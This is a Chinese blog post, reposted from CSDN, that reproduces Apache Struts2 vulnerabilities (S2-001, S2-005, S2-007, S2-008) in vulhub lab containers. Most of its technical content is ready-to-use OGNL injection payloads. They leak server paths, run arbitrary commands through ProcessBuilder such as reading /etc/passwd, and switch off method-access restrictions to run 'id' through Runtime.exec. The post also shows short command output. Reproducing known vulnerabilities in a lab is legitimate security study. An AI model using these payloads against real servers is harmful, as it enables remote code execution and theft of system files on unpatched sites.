struts2漏洞复现

本文阅读 1 分钟

目录

vulhub/struts2/s2-001

1.获取tomcat执行路径:

2.获取Web路径:

[3.执行任意命令(命令加参数:new java.lang.String[]{"cat","/etc/passwd"}):](#3.%E6%89%A7%E8%A1%8C%E4%BB%BB%E6%84%8F%E5%91%BD%E4%BB%A4%EF%BC%88%E5%91%BD%E4%BB%A4%E5%8A%A0%E5%8F%82%E6%95%B0%EF%BC%9Anew%20java.lang.String%5B%5D%7B%22cat%22%2C%22%2Fetc%2Fpasswd%22%7D%EF%BC%89%EF%BC%9A)

vulhub/struts2/s2-005

vulhub/struts2/s2-007

vulhub/struts2/s2-008

strust2

框架特征:文件后缀名为.action/.do

s2-001

漏洞原理:由于用户表单提交的数据验证失败时,后端会将用户提交的参数值使用OGNL表达式进行解析,解析完之后重新填充到表单数据中

1.获取tomcat执行路径:

%{"tomcatBinDir{"+@java.lang.System@getProperty("user.dir")+"}"}

img

tomcatBinDir{/usr/local/tomcat}

2.获取Web路径:

%{#req=@org.apache.struts2.ServletActionContext@getRequest(),#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#response.println(#req.getRealPath('/')),#response.flush(),#response.close()}

img 

 

al/tomcat/webapps/ROOT/

3.执行任意命令(命令加参数:new java.lang.String[]{"cat","/etc/passwd"}):

%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"cat","/etc/passwd"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}

img

 

%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"pwd"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}

img 

/usr/local/tomcat

XWork 将使用 OGNL 表达式将 GET 参数的键和值解析为 Java 语句

u0023#  (unicode编码 u)

img

img 

 

配置验证规则时。如果类型验证转换失败,服务器将拼接用户提交的表单值字符串,然后执行 OGNL 表达式解析并返回

img

 

' + (#_memberAccess["allowStaticMethodAccess"]=true,#foo=new java.lang.Boolean("false") ,#context["xwork.MethodAccessor.denyMethodExecution"]=#foo,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())) + '

?debug=command&expression=%28%23application%29

img

 

本文为互联网自动采集或经作者授权后发布,本文观点不代表立场,若侵权下架请联系我们删帖处理!文章出自:https://blog.csdn.net/m0_63127854/article/details/125438318
-- 展开阅读全文 --
安全面试之XSS(跨站脚本攻击)
« 上一篇 07-24

发表评论

成为第一个评论的人

热门文章

标签TAG

最近回复